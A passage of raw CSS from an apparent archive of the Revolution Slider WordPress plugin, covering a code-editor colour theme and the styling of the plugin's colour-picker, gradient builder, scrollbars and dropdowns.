Used to force a border model for a node */ .cm-force-border { padding-right: .1px; } @media print { /* Hide the cursor when printing */ .RevMirror div.RevMirror-cursors { visibility: hidden; } } /* See issue #2901 */ .cm-tab-wrap-hack:after { content: ''; } /* Help users use markselection to safely style text background */ span.RevMirror-selectedtext { background: none; } .cm-s-hopscotch.RevMirror {background: #322931; color: #d5d3d5;} .cm-s-hopscotch div.RevMirror-selected {background: #433b42 !important;} .cm-s-hopscotch .RevMirror-gutters {background: #322931; border-right: 0px;} .cm-s-hopscotch .RevMirror-linenumber {color: #797379;} .cm-s-hopscotch .RevMirror-cursor {border-left: 1px solid #989498 !important;} .cm-s-hopscotch span.cm-comment {color: #b33508;} .cm-s-hopscotch span.cm-atom {color: #c85e7c;} .cm-s-hopscotch span.cm-number {color: #c85e7c;} .cm-s-hopscotch span.cm-property, .cm-s-hopscotch span.cm-attribute {color: #8fc13e;} .cm-s-hopscotch span.cm-keyword {color: #dd464c;} .cm-s-hopscotch span.cm-string {color: #fdcc59;} .cm-s-hopscotch span.cm-variable {color: #8fc13e;} .cm-s-hopscotch span.cm-variable-2 {color: #1290bf;} .cm-s-hopscotch span.cm-def {color: #fd8b19;} .cm-s-hopscotch span.cm-error {background: #dd464c; color: #fff;} .cm-s-hopscotch span.cm-bracket {color: #d5d3d5;} .cm-s-hopscotch span.cm-tag {color: #dd464c;} .cm-s-hopscotch span.cm-link {color: #c85e7c;} .cm-s-hopscotch .RevMirror-matchingbracket { text-decoration: underline; color: white !important;} .cm-s-hopscotch .RevMirror-activeline-background { background: #302020; } admin/assets/css/tp-color-picker.css000060400000107234151724235750013470 0ustar00/************************************************************************** * tp-color-picker.css - Color Picker Plugin for Revolution Slider * @version: 2.0 (01.01.2018) * @author ThemePunch **************************************************************************/ /* Default Picker Widget */ .revbuilder-colorpicker { display: inline-block; height: 27px; line-height: 27px; cursor: pointer; box-sizing: border-box; } .revbuilder-cpicker-master-wrap, .revbuilder-cpicker-master-wrap input { cursor: pointer; } #revbuilder-cpicker-gradients, #revbuilder-cpicker-colors { line-height: 30px; vertical-align: top; } #revbuilder-cpicker * { -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; -webkit-touch-callout: none; text-rendering: optimizeLegibility; } #revbuilder-cpicker i { line-height: normal; } .revbuilder-colorpicker span, .revbuilder-cpicker-preview { display: inline-block; height: 100%; vertical-align: middle; } .revbuilder-colorpicker .revbuilder-colorbox, .revbuilder-cpicker-preview { width: 13px; height: 13px; background: url(../images/trans_tile.png); border-radius: 2px; border: 1px solid #414448; box-sizing: border-box; } #revbuilder-cpicker-preview-gradient { background: #FFF; } .revbuilder-cpicker-preview { width: 17px; height: 17px; vertical-align: top; margin: 0 10px 0 10px; position: relative; top: 7px; border-radius: 0 !important; border: none !important; } .revbuilder-colorpicker .revbuilder-colorbtn, .revbuilder-cpicker-input { font-family: 'Roboto'; font-size: 17px; line-height: 27px; padding-left: 4px; background: transparent !important; position: relative; font-weight: 500; color: #b7bbc0 !important; } .revbuilder-cpicker-input:focus { background: transparent !important; border: 0 !important; box-shadow: none !important; } .revbuilder-cpicker-input { font-size: 13px; line-height: 18px; border: 0 !important; width: 125px; margin-left: 3px; padding: 3px 0; margin-top: 0px; } .revbuilder-cpicker-hex { width: 106px; margin-left: 0; } .revbuilder-cpicker-input-wrap { overflow: hidden; } .revbuilder-cpicker-input-wrap, .revbuilder-cpicker-btn { width: 145px; height: 30px; display: inline-block; vertical-align: top; background: #2a2c2f; border-radius: 2px; padding-top: 0px; text-align: left; line-height: 30px; vertical-align: top; } .revbuilder-cpicker-btn-small { width: 31px; float: right; margin-right: 31px; } .revbuilder-cpicker-input-wrap.focus { background: #3a3e44; } .revbuilder-cpicker-input-basic { width: 50px; margin-left: 5px; } .revbuilder-cpicker-input-small { width: 45px; margin-left: 5px; } .revbuilder-cpicker-input-basic.first, .revbuilder-cpicker-input-small.first, .revbuilder-cpicker-input-medium.first { margin-left: 0; } .revbuilder-cpicker-input-small .revbuilder-cpicker-input { width: 40px; margin-left: 3px; } #revbuilder-cpicker-radial-wrap, #revbuilder-cpicker-radial-wrap .revbuilder-cpicker-input { width: 45px; text-align: left; } .revbuilder-cpicker-input-medium { width: 70px; margin-left: 5px; } .revbuilder-cpicker-input-medium .revbuilder-cpicker-input { width: 59px; margin-left: 10px; } .revbuilder-colorpicker-open .tipsy-inner { max-width: none; } .revbuilder-cpicker-wrap { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 2099999; display: none; } #revbuilder-cpicker-back { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: transparent; /*rgba(50, 52, 56, 0.5);*/ } #revbuilder-cpicker { position: absolute; top: 50%; left: 50%; font-family: 'Roboto', 'Roboto'; font-size: 12px; white-space: nowrap; display: block; cursor: default; color: #777c80; box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5); } #revbuilder-cpicker-container { display: table; background: #323438; } #revbuilder-cpicker-head { background: #2a2c2f; width: 560px; height: 70px; position: relative; } .revbuilder-cpicker-candrag { pointer-events: none; } .revbuilder-cpicker-column { display: table-cell; vertical-align: top; } #revbuilder-cpicker-right { position: relative; background: #323438; width: 70px; height: 100%; } #revbuilder-cpicker-toggle { position: absolute; bottom: 0; right: 0; } .revbuilder-cpicker-hover { transition: background 0.2s ease; } .revbuilder-cpicker-btn-large { width: 70px; height: 70px; cursor: pointer; text-align: center; } .revbuilder-cpicker-btn-large i { font-size: 30px; margin-top: 19px; } .revbuilder-cpicker-palette-open, .revbuilder-cpicker-wrap.palette-open .revbuilder-cpicker-palette-closed { display: none !important; } .revbuilder-cpicker-wrap.palette-open .revbuilder-cpicker-palette-open { display: inline-block !important; } .revbuilder-cpicker-wrap.color-view.palette-open #revbuilder-cpicker-color-presets, .revbuilder-cpicker-wrap.gradient-view.palette-open #revbuilder-cpicker-gradient-presets { display: block; } .revbuilder-cpicker-wrap.color-view #revbuilder-cpicker-gradients, .revbuilder-cpicker-wrap.gradient-view #revbuilder-cpicker-colors { display: none; } .revbuilder-cpicker-wrap.gradient-view #revbuilder-cpicker-gradients { margin-bottom: -48px; } .revbuilder-cpicker-wrap.gradient-view.palette-open #revbuilder-cpicker-gradients { margin-bottom: 0; } #revbuilder-cpicker-gradients .revbuilder-cpicker-row.first { padding-bottom: 20px; } #revbuilder-cpicker-gradients #revbuilder-cpicker-gradient-presets .revbuilder-cpicker-row.first { padding-bottom: 0; } .revbuilder-cpicker-btn-large:hover { background: #006dd2; } .revbuilder-cpicker-btn-large:hover i { color: #FFF; } #revbuilder-cpicker-type-wrap { margin-top: 20px; } #revbuilder-cpicker-type-wrap > * { display: inline-block; vertical-align: middle; } .revbuilder-cpicker-side { display: inline-block; position: relative; } #revbuilder-cpicker-base .revbuilder-cpicker-side { vertical-align: top; } .revbuilder-cpicker-left { width: 306px; } #revbuilder-cpicker-left { padding-bottom: 40px; } #revbuilder-cpicker-base { margin-top: 30px; } #revbuilder-cpicker-editing { position: relative; display: inline-block; } .revbuilder-cpicker-main-btn { color: #b7bbc0; width: 50px; height: 31px; background: #3f444a; text-align: center; cursor: pointer; pointer-events: all; position: relative; display: inline-block; border-radius: 2px; z-index: 0; } .revbuilder-cpicker-title, .revbuilder-cpicker-spacer { width: 116px; margin-right: 15px; text-align: right; display: inline-block; } .revbuilder-cpicker-title:not(.revbuilder-cpicker-candrag) { position: relative; top: 0px; } #revbuilder-cpicker-gradients .revbuilder-cpicker-side:not(.revbuilder-cpicker-left) .revbuilder-cpicker-title { width: auto; text-align: left; } #revbuilder-cpicker-btn-wrap { display: inline-block; background: #3f444a; line-height: 0; } .revbuilder-cpicker-txt-space-left { margin-left: 15px; } .revbuilder-cpicker-wrap.color-view #revbuilder-cpicker-color-btn { border-radius: 2px 0 2px 2px; } .revbuilder-cpicker-wrap.gradient-view #revbuilder-cpicker-gradient-btn { border-radius: 0 2px 2px 2px; } .revbuilder-cpicker-wrap.color-view #revbuilder-cpicker-color-btn, .revbuilder-cpicker-wrap.gradient-view #revbuilder-cpicker-gradient-btn { color: #FFF; cursor: default; border-radius: 2px; background: #006dd2; z-index: 1; } .revbuilder-cpicker-wrap.color-view #revbuilder-cpicker-gradient-btn:hover, .revbuilder-cpicker-wrap.gradient-view #revbuilder-cpicker-color-btn:hover { color: #FFF; } .revbuilder-cpicker-main-btn i { margin-top: 4px; } .revbuilder-cpicker-bright { color: #b7bbc0; } .revbuilder-cpicker-row { margin-top: 10px; } .revbuilder-cpicker-row.extended { margin-top: 19px; } .revbuilder-cpicker-no-margin { margin-top: 0; } #revbuilder-cpicker-gradients .revbuilder-cpicker-iris { margin-top: 26px; } #revbuilder-cpicker-gradients .iris-slider { margin-left: -7px !important; } .revbuilder-cpicker-label { top: 1px !important; } .revbuilder-cpicker-row.first { margin-top: 0; } .revbuilder-cpicker-btn, .revbuilder-cpicker-btn-large { background: #3f444a; color: #b7bbc0; cursor: pointer; text-align: center; } .revbuilder-cpicker-btn:hover, .revbuilder-cpicker-btn-large:hover, #revbuilder-cpicker-check { background: #006dd2; color: #FFF !important; } #revbuilder-cpicker-check:hover i { margin-left: 5px; } .revbuilder-cpicker-btn * { display: inline-block; vertical-align: top; } .revbuilder-cpicker-btn span { position: relative; margin-left: 9px; vertical-align: top; } .revbuilder-cpicker-btn i { font-size: 17px; position: relative; line-height: 30px !important; vertical-align: top; } #revbuilder-cpicker .iris-strip { width: 10px !important; height: 152px !important; box-shadow: none; border: none; border-radius: 0px; margin-left: 1px; } #revbuilder-cpicker .iris-picker .iris-strip .ui-slider-handle:focus, #revbuilder-cpicker .iris-picker .ui-square-handle:focus { box-shadow: 0px 5px 5px 0px rgba(0, 0, 0, 0.35); } #revbuilder-cpicker .iris-picker .iris-square, #revbuilder-cpicker .iris-picker .iris-square-inner { width: 154px !important; height: 154px !important; box-shadow: none !important; border-radius: 0; } #revbuilder-cpicker .iris-slider.iris-strip .ui-slider-handle, #revbuilder-cpicker-scroller .iris-slider-offset { background: #fff; border-radius: 2px; height: 3px; border: none; outline:none !important; box-shadow: 0px 5px 5px 0px rgba(0, 0, 0, 0.35); } #revbuilder-cpicker .iris-slider.iris-strip .ui-slider-handle:before { display: none; } #revbuilder-cpicker .iris-slider-offset { top: 2px !important; bottom: 0 !important; } #revbuilder-cpicker .wp-color-result, #revbuilder-cpicker .wp-picker-input-wrap { display: none; } #revbuilder-cpicker .wp-picker-container .iris-picker { margin-top: 0; } #revbuilder-cpicker .iris-border { border: 0; background: transparent; } #revbuilder-cpicker .iris-border .iris-picker-inner { position: static; } .revbuilder-cpicker-iris .wp-picker-container { display: inline-block !important; vertical-align: top !important; width: auto !important; margin: 0px !important; } #revbuilder-cpicker #revbuilder-cpicker-scroller { position: relative; display: inline-block; margin-left: 14px; vertical-align: top; height: 150px !important; border-radius: 0; box-sizing: border-box; box-shadow: inset 0 0 5px rgba(0,0,0,0.4); background: url(../images/trans_tile.png); } #revbuilder-cpicker-scroller div { box-sizing: border-box; } #revbuilder-cpicker-scroll-bg { position: absolute; top: 0 !important; left: 0; width: 100% !important; height: 100% !important; background: linear-gradient(to bottom, #000 0%, rgba(0, 0, 0, 0) 100%) !important; } #revbuilder-cpicker-scroll { position: relative; height: 100% !important; background: transparent !important; } #revbuilder-cpicker-scroller .ui-slider-handle { position: absolute; background: 0 0; margin: 0; right: -3px; left: -3px; border: 4px solid #aaa; border-width: 4px 3px; width: auto; height: 6px; border-radius: 4px; box-shadow: 0 1px 2px rgba(0,0,0,.2); opacity: .9; z-index: 5; cursor: ns-resize; } #revbuilder-cpicker-scroller .ui-slider-handle:before { content: " "; position: absolute; left: -2px; right: -2px; top: -3px; bottom: -3px; border: 2px solid #fff; border-radius: 3px; } .revbuilder-cpicker-wrap.is-basic #revbuilder-cpicker-scroller, .revbuilder-cpicker-wrap.is-basic .revbuilder-cpicker-hideable { display: none; } .revbuilder-cpicker-presets { margin-top: 21px; display: none; } #revbuilder-cpicker-gradient-presets { margin-top: -18px; } .revbuilder-cpicker-presets-group { position: relative; line-height: 0; white-space: normal; padding: 0; width: 173px; height: 114px; overflow: hidden; } .revbuilder-cpicker-color, .revbuilder-cpicker-direction { width: 29px; height: 29px; display: inline-block; position: relative; margin: 0 12px 12px 0; box-sizing: border-box; border-radius: 2px; overflow: hidden; } .revbuilder-cpicker-color.selected, .revbuilder-cpicker-direction.selected { border: 2px solid #FFF; cursor: auto; } .revbuilder-cpicker-color:not(.selected), .revbuilder-cpicker-direction { cursor: pointer; } .revbuilder-cpicker-color.blank { cursor: auto; background: #3f444a; } .revbuilder-cpicker-preset-bg, .revbuilder-cpicker-preset-tile { display: block; width: 100%; height: 100%; } .revbuilder-cpicker-preset-tile { background: url(../images/trans_tile.png); border-radius: 4px; /* Hide strange Radius Failure */ } .revbuilder-cpicker-preset-bg { position: absolute; top: 0; left: 0; } #revpicker-easing-row.active .revbuilder-cpicker-input-wrap { width: 90px !important; } #revbuilder-cpicker #revpicker-easing-row.active .ddTP_C { width: 70px !important; min-width: 70px !important; } #revpicker-easing-row.active .revbuilder-cpicker-input-basic { width: 50px !important; } #revbuilder-cpicker #revpicker-easing-row.active .ddTP_C .ddTP_S { width: 55px !important; } #revpicker-easing-row.active .revbuilder-cpicker-easing-strength, #revpicker-easing-row.active #revbuilder-cpicker-strength-title { display: inline-block; } .revbuilder-cpicker-easing-strength, #revpicker-easing-row.active #revbuilder-cpicker-easing-title, #revbuilder-cpicker-strength-title { display: none; } /*********************************** - PERFECT SCROLLBAR - ************************************/ /* perfect-scrollbar v0.7.1 */ .ps{-ms-touch-action:auto;touch-action:auto;overflow:hidden !important;-ms-overflow-style:none}@supports (-ms-overflow-style: none){.ps{overflow:auto !important}}@media screen and (-ms-high-contrast: active), (-ms-high-contrast: none){.ps{overflow:auto !important}}.ps.ps--active-x>.rs__scrollbar-x-rail,.ps.ps--active-y>.rs__scrollbar-y-rail{display:block;background-color:transparent}.ps.ps--in-scrolling.ps--x>.rs__scrollbar-x-rail{background-color:#eee;opacity:.9}.ps.ps--in-scrolling.ps--x>.rs__scrollbar-x-rail>.rs__scrollbar-x{background-color:#999;height:11px}.ps.ps--in-scrolling.ps--y>.rs__scrollbar-y-rail{background-color:#eee;opacity:.9}.ps.ps--in-scrolling.ps--y>.rs__scrollbar-y-rail>.rs__scrollbar-y{background-color:#999;width:11px}.ps>.rs__scrollbar-x-rail{display:none;position:absolute;opacity:0;-webkit-transition:background-color .2s linear, opacity .2s linear;-o-transition:background-color .2s linear, opacity .2s linear;-moz-transition:background-color .2s linear, opacity .2s linear;transition:background-color .2s linear, opacity .2s linear;bottom:0px;height:15px}.ps>.rs__scrollbar-x-rail>.rs__scrollbar-x{position:absolute;background-color:#aaa;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, -webkit-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, -webkit-border-radius .2s ease-in-out;-o-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;-moz-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -webkit-border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;bottom:2px;height:6px}.ps>.rs__scrollbar-x-rail:hover>.rs__scrollbar-x,.ps>.rs__scrollbar-x-rail:active>.rs__scrollbar-x{height:11px}.ps>.rs__scrollbar-y-rail{display:none;position:absolute;opacity:0;-webkit-transition:background-color .2s linear, opacity .2s linear;-o-transition:background-color .2s linear, opacity .2s linear;-moz-transition:background-color .2s linear, opacity .2s linear;transition:background-color .2s linear, opacity .2s linear;right:0;width:15px}.ps>.rs__scrollbar-y-rail>.rs__scrollbar-y{position:absolute;background-color:#aaa;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, -webkit-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, -webkit-border-radius .2s ease-in-out;-o-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;-moz-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -webkit-border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;right:2px;width:6px}.ps>.rs__scrollbar-y-rail:hover>.rs__scrollbar-y,.ps>.rs__scrollbar-y-rail:active>.rs__scrollbar-y{width:11px}.ps:hover.ps--in-scrolling.ps--x>.rs__scrollbar-x-rail{background-color:#eee;opacity:.9}.ps:hover.ps--in-scrolling.ps--x>.rs__scrollbar-x-rail>.rs__scrollbar-x{background-color:#999;height:11px}.ps:hover.ps--in-scrolling.ps--y>.rs__scrollbar-y-rail{background-color:#eee;opacity:.9}.ps:hover.ps--in-scrolling.ps--y>.rs__scrollbar-y-rail>.rs__scrollbar-y{background-color:#999;width:11px}.ps:hover>.rs__scrollbar-x-rail,.ps:hover>.rs__scrollbar-y-rail{opacity:.6}.ps:hover>.rs__scrollbar-x-rail:hover{background-color:#eee;opacity:.9}.ps:hover>.rs__scrollbar-x-rail:hover>.rs__scrollbar-x{background-color:#999}.ps:hover>.rs__scrollbar-y-rail:hover{background-color:#eee;opacity:.9}.ps:hover>.rs__scrollbar-y-rail:hover>.rs__scrollbar-y{background-color:#999} #revbuilder-cpicker .ps-container .ps-scrollbar-x-rail { display: none; } #revbuilder-cpicker .ps-container .ps-scrollbar-y-rail { display: block; } #revbuilder-cpicker .ps-container .ps-scrollbar-y { border-radius: 3px !important; } #revbuilder-cpicker .ddTP_S__rendered { padding-left: 0 !important; } #revbuilder-cpicker .ps-active-y:hover .ps-scrollbar-y-rail { opacity: 1; } #revbuilder-cpicker .ps-active-y .ps-scrollbar-y-rail:hover { background-color: transparent; } #revbuilder-cpicker .ps-container:hover > .ps-scrollbar-y-rail:hover > .ps-scrollbar-y { background-color: #b7bbc0; } #revbuilder-cpicker .ps > .rs__scrollbar-y-rail { width: auto !important; } #revbuilder-cpicker .ps > .rs__scrollbar-y-rail:hover > .rs__scrollbar-y, #revbuilder-cpicker .ps > .rs__scrollbar-y-rail:active > .rs__scrollbar-y { width: 6px !important; } .revbuilder-picker-color-custom:hover span, .revbuilder-picker-color-custom:hover .revbuilder-cpicker-delete:before { display: block; } .revbuilder-colorpicker-open .ddTP_C--open { z-index: 9999999; } .revbuilder-colorpicker-open .ddTP_C .ddTP_S { box-shadow:none; outline:none; border: none; border-radius: 3px; width:185px; padding:0px; margin:0px; margin-bottom: 10px; } .revbuilder-cpicker-wrap.onajax { pointer-events: none; } .revbuilder-cpicker-wrap.onajax:before { width: 100%; height: 100%; background: rgba(0, 0, 0, 0.5); position: absolute; top: 0; left: 0; z-index: 2099998; content: ""; } .revbuilder-cpicker-wrap.onajax:after { position: absolute; top: 50%; left: 50%; z-index: 2099999; font-size: 36px; color: #FFF; margin-top: -10px; pointer-events: all; } .revbuilder-cpicker-wrap.onajaxdelete:after { content: "Deleting Preset..."; margin-left: -135px; } .revbuilder-cpicker-wrap.onajaxsave:after { content: "Saving Preset..."; margin-left: -123px; } #revbuilder-cpicker *:not(input) { -moz-user-select: none; -ms-user-select: none; -webkit-user-select: none; user-select: none; } #revbuilder-cpicker-drag { position: absolute; top: 0; left: 0; width: 100%; height: 100%; cursor: move; } .revbuilder-cpicker-gradient-block { width: 236px; height: 50px; background: url(../images/trans_tile.png); } #revbuilder-cpicker-gradient-input .ui-draggable { cursor: default; } .revbuilder-cpicker-wrap .ui-draggable .revbuilder-cpicker-section { cursor: auto; } .revbuilder-cpicker-gradient-builder { width: 100%; height: 100%; position: relative; } #revbuilder-cpicker-hit-top { top: -17px; } #revbuilder-cpicker-hit-bottom { bottom: -17px; } .revbuilder-cpicker-builder-hit { position: absolute; left: 0; width: 100%; height: 17px; cursor: copy; z-index: 0; } .revbuilder-cpicker-builder-hit.full { pointer-events: none; cursor: auto; } #revbuilder-cpicker-point-wrap { width: 246px; height: 100%; position: absolute; top: 0; left: -5px; z-index: 99; } #revbuilder-cpciker-point-container { width: 234px; height: 100%; position: absolute; top: 0; left: 0; } .revbuilder-cpicker-left .revbuilder-cpicker-gradient-block { margin-left: 39px; } #revbuilder-cpicker-wheel { display: inline-block; vertical-align: top; position: relative; top: -10px; width: 47px; height: 47px; cursor: default; margin: 0 5px 0 10px; } #revbuilder-cpicker-wheel-inner { position: absolute; left: 5px; top: 5px; width: 37px; height: 37px; border-radius: 50%; border: 1px solid #3f444a; border-box: border-box; } #revbuilder-cpicker-wheel-point { position: absolute; left: 50%; top: 0; display: block; position: relative; width: 3px; height: 20px; margin-left: -2px; transform-origin: bottom center; background-color: #006dd2; } #revbuilder-cpicker-wheel-point:after { width: 7px; height: 7px; border-radius: 50%; background-color: #b7bbc0; position: absolute; top: -2px; left: 50%; margin-left: -4px; display: block; content: ""; } .revbuilder-cpicker-point { position: absolute; display: block; width: 12px; height: 17px; } .revbuilder-cpicker-point.active { z-index: 999; background-position: left bottom; } .revbuilder-cpicker-point.warning { transition: 0.1s transform linear; } .revbuilder-cpicker-point-top.warning { transform: translate(0, -5px) scale(0.75); } .revbuilder-cpicker-point-bottom.warning { transform: translate(0, 5px) scale(0.75); } .revbuilder-cpicker-point-top { top: -17px; background: url(../images/point_top.png) left top no-repeat; } .revbuilder-cpicker-point-bottom { bottom: -17px; background: url(../images/point_bottom.png) left top no-repeat; } .revbuilder-cpicker-point-square { display: block; width: 10px; height: 10px; position: absolute; top: 1px; left: 1px; } .revbuilder-cpicker-point-triangle { display: block; width: 0; height: 0; } .revbuilder-cpicker-point-top .revbuilder-cpicker-point-triangle { border-left: 5px solid transparent; border-right: 5px solid transparent; border-top: 5px solid transparent; position: absolute; top: 11px; left: 1px; } .revbuilder-cpicker-point-bottom .revbuilder-cpicker-point-triangle { border-left: 5px solid transparent; border-right: 5px solid transparent; border-bottom: 5px solid transparent; position: absolute; top: 1px; left: 1px; } .revbuilder-cpicker-point-bottom .revbuilder-cpicker-point-square { top: 6px; } .revbuilder-cpicker-hideable, .revbuilder-cpicker-point-delete, .revbuilder-cpicker-input-wrap.disabled { opacity: 0.35; pointer-events: none; } .revbuilder-cpicker-point-delete.active { opacity: 1; pointer-events: auto; } .revbuilder-cpicker-onoff-wrap, .revbuilder-cpicker-onoff-wrap * { -webkit-touch-callout:none; -webkit-user-select:none; -khtml-user-select:none; -moz-user-select:none; -ms-user-select:none; user-select:none; } .revbuilder-cpicker-onoff-wrap { cursor: pointer; display: inline-block; vertical-align: top; position: relative; width: 50px; height: 20px; line-height: 20px; border-radius: 10px; overflow: hidden; box-sizing: border-box; transform: translateZ(0.001px); text-align: center; overflow: hidden; background: #2a2c2f; margin-top: 7px; } .revbuilder-cpicker-onoff-inner { width: 100px; white-space: nowrap; transform: translateX(0px); transition: transform 0.2s ease; } .revbuilder-cpicker-onoff { position: relative; display: block; float: left; width: 50px; height: 20px; background: #2a2c2f; padding: 0px 8px; color: #777c80; font-weight: 400; box-sizing: border-box; font-size: 11px; line-height: 22px; text-transform: uppercase; overflow: hidden; } .revbuilder-cpicker-onoff:after { content: " "; width: 12px; height: 12px; position: absolute; left: 32px; top: 4px; border-radius: 50%; background: #3f444a; box-sizing: border-box; } .revbuilder-cpicker-on { color: #FFF; background: #006dd2; } .revbuilder-cpicker-on:after { left: auto; right: 32px; background: #FFF; } .revbuilder-cpicker-off span { position: relative; right: 7px; } .revbuilder-cpicker-on span { position: relative; left: 7px; } .revbuilder-cpicker-onoff-wrap.checked .revbuilder-cpicker-onoff-inner { transform: translateX(-50px); } .revbuilder-cpicker-wrap.gradient-view.open .revbuilder-cpicker-hideable { opacity: 1; pointer-events: all; } .revbuilder-cpicker-presets-custom { display: none; } .revbuilder-picker-color-custom:hover i, .revbuilder-picker-color-custom:hover i:before { display: block; color: #FFF; } .revbuilder-picker-color-custom.selected .revbuilder-cpicker-delete { cursor: pointer; } .revbuilder-cpicker-delete i { position: absolute; top: 0; right: 0; font-size: 12px; display: none; opacity: 0.65; transition: opacity 0.2s ease; } .revbuilder-cpicker-delete:before { position: absolute; top: -1px; right: -1px; width: 13px; height: 14px; background-color: #2a2c2f; content: ""; display: none; } .revbuilder-cpicker-delete:hover i { opacity: 1; } #revbuilder-cpicker-remove-delete { display: none; } /****************************** *** SPECIAL SELECT2 SETTINGS - **********************************/ #revbuilder-cpicker .ddTP_C .ddTP_S {background-color: #2a2c2f;border: none;border-radius: 0px; font-size: 12px;color: #000;font-weight: 400;vertical-align: top;min-height: 30px; width:185px;} #revbuilder-cpicker .input_with_buttonextenstion .ddTP_C .ddTP_S { width: 154px; } #revbuilder-cpicker .ddTP_C .ddTP_S--single .ddTP_S__rendered { line-height: 30px } #revbuilder-cpicker .__inmodal .ddTP_C .ddTP_S { width: 100%; } #revbuilder-cpicker .ddTP_C .ddTP_S .ddTP_S__rendered {border-radius:0px;color: #b7bbc0; font-size:13px; font-weight: 500; } #revbuilder-cpicker .ddTP_C .ddTP_S .ddTP_S__rendered:hover { color: #fff; } #revbuilder-cpicker .ddTP_C .ddTP_S.ddTP_S--multiple .ddTP_S__rendered { line-height:20px; background:#2a2c2f;padding: 5px; box-sizing: border-box;margin-top: 0px; min-height: 20px; vertical-align: top } #revbuilder-cpicker .ddTP_C .ddTP_S .ddTP_S__clear {cursor: pointer;float: right;font-weight: bold; } #revbuilder-cpicker .ddTP_C .ddTP_S .ddTP_S__placeholder {color: #b7bbc0; } #revbuilder-cpicker .ddTP_C .ddTP_S--single .ddTP_S__arrow {top: 0; right: -15px; height: 30px} #revbuilder-cpicker .ddTP_C .ddTP_S--single .ddTP_S__arrow:after { position: absolute; content: ""; top: -3px; right: 26px; width: 1px; height: 31px; background: #323438; } #revbuilder-cpicker .ddTP_C.ddTP_C--open .ddTP_S--single .ddTP_S__arrow b { border-color: transparent transparent #888 transparent; border-width: 0 4px 5px 4px; } /* #revbuilder-cpicker .ddTP_C .ddTP_S .ddTP_S__arrow {display:none; } #revbuilder-cpicker .ddTP_C .ddTP_S .ddTP_S__arrow b {display:none; } */ #revbuilder-cpicker .ddTP_C .ddTP_S {padding: 0px 10px;border-radius: 4px;} #revbuilder-cpicker .ddTP_S.ddTP_S--multiple { padding: 0px; } #revbuilder-cpicker .ddTP_C {min-width: 100px;margin-right: 5px; margin-bottom: 10px;} #revbuilder-cpicker .ddTP_C .ddTP_SCH.ddTP_SCH--inline { height: 20px; line-height: 20px; margin: 0px; } #revbuilder-cpicker .ddTP_C .ddTP_S--multiple .ddTP_S__choice { margin:0px 5px 0px 0px; text-align:center; padding:0px 10px; line-height: 20px; border: none; border-radius: 3px; background: #006dd2; color: #fff;font-size: 11px; font-weight: 500;vertical-align: top; } #revbuilder-cpicker .ddTP_C .ddTP_S--multiple .ddTP_S__choice__remove { color: #fff; margin-right: 3px; font-size: 11px; font-weight: 400;line-height: 20px; vertical-align: top; } .revbuilder-colorpicker-open .ddTP_C .ddTP_R > .ddTP_ROs { max-height: 250px } .revbuilder-colorpicker-open .ddTP_C .ddTP_SCH--dropdown .ddTP_SCH__field, #revbuilder-cpicker .ddTP_C .ddTP_SCH--inline .ddTP_SCH__field { line-height: 20px; border: none !important; border-radius: 0px; box-shadow: none !important; outline: none !important; margin:0px; padding:0px 0px 0px 5px; color: #b7bbc0; font-size: 13px; font-weight: 500; } #revbuilder-cpicker .ddTP_C.ddTP_C--focus .ddTP_SCH--inline .ddTP_SCH__field { max-width: 185px} .revbuilder-colorpicker-open .ddTP_C .ddTP_SCH--dropdown .ddTP_SCH__field { background: #2a2c2f;line-height: 37px; padding: 0px 10px; } #revbuilder-cpicker .ddTP_C .ddTP_S.ddTP_S--multiple ul li { margin-bottom: 0px; } #revbuilder-cpicker .ddTP_C { margin-top:0px; margin-bottom: 0px; width:125px !important; margin-right:0px; display: inline-block} #revbuilder-cpicker .__inmodal .ddTP_C { width: 100% !important; } .revbuilder-colorpicker-open .ddTP_C .ddTP-dropdown { background-color: #2a2c2f; width: 145px !important; box-shadow: none; border:none;box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5);} .revbuilder-colorpicker-open .ddTP_C .ddTP_RO { color:#b7bbc0; font-size: 13px; padding: 6px 10px; width: 100%;overflow: hidden;position: relative;box-sizing: border-box;white-space: nowrap;text-overflow: ellipsis;} .revbuilder-colorpicker-open .ddTP_C .ddTP_RO.ddTP_RO--highlighted { color: #fff; background: #3f444a; } .revbuilder-colorpicker-open .ddTP_C .ddTP_RO.ddTP_RO--highlighted[aria-selected=true], .revbuilder-colorpicker-open .ddTP_C .ddTP_RO[aria-selected=true] { color: #fff; background: #006dd2; } .revbuilder-colorpicker-open .ddTP_C .ddTP_RO[aria-disabled=true] { display: none !important; } #revbuilder-cpicker .ddTP_C--smalltos2, #revbuilder-cpicker .ddTP_C--smalltos2 .ddTP-dropdown--below {min-width: 50px; } #revbuilder-cpicker .ddTP_C--smalltos2 .ddTP_S {width: 60px;} #revbuilder-cpicker .ddTP_C--smalltos2-suffix, #revbuilder-cpicker .ddTP_C--smalltos2-suffix .ddTP-dropdown--below {min-width: 56px; } #revbuilder-cpicker .ddTP_C--smalltos2-suffix .ddTP_S {width: 56px; border-radius: 0px 4px 4px 0px; } .revbuilder-colorpicker-open .ddTP_R__group { 